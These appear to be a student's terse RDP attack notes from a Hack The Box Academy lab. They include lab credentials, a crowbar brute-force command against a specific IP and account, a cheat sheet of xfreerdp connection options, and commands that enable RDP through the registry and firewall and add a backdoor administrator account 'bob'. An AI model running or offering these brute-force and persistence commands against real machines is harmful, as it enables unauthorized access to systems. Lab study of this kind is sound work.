RDP

use this string to connect with xfreerdp to the host : xfreerdp /v:<target IP address> /u:htb-student /p:HTB_@cademy_stdnt!

use crowbar

# ./crowbar.py -b rdp -u DOMAIN\\gokhan alkan -c Aa123456 -s 10.68.35.150/32

$ curl cheat.sh/
xfreerdp
# xfreerdp
# Free Remote Desktop Protocol implementation.
# More information: <https://www.freerdp.com>.

# Connect to a FreeRDP server:
xfreerdp /u:username /p:password /v:ip_address

# Connect to a FreeRDP server and activate audio output redirection using `sys:alsa` device:
xfreerdp /u:username /p:password /v:ip_address /sound:sys:alsa

# Connect to a FreeRDP server with dynamic resolution:
xfreerdp /v:ip_address /u:username /p:password /dynamic-resolution

# Connect to a FreeRDP server with clipboard redirection:
xfreerdp /v:ip_address /u:username /p:password +clipboard

# Connect to a FreeRDP server ignoring any certificate checks:
xfreerdp /v:ip_address /u:username /p:password /cert:ignore

Enable RDP from command line

reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

then

netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes

net user /add bob passw0rd

net localgroup administrators bob /add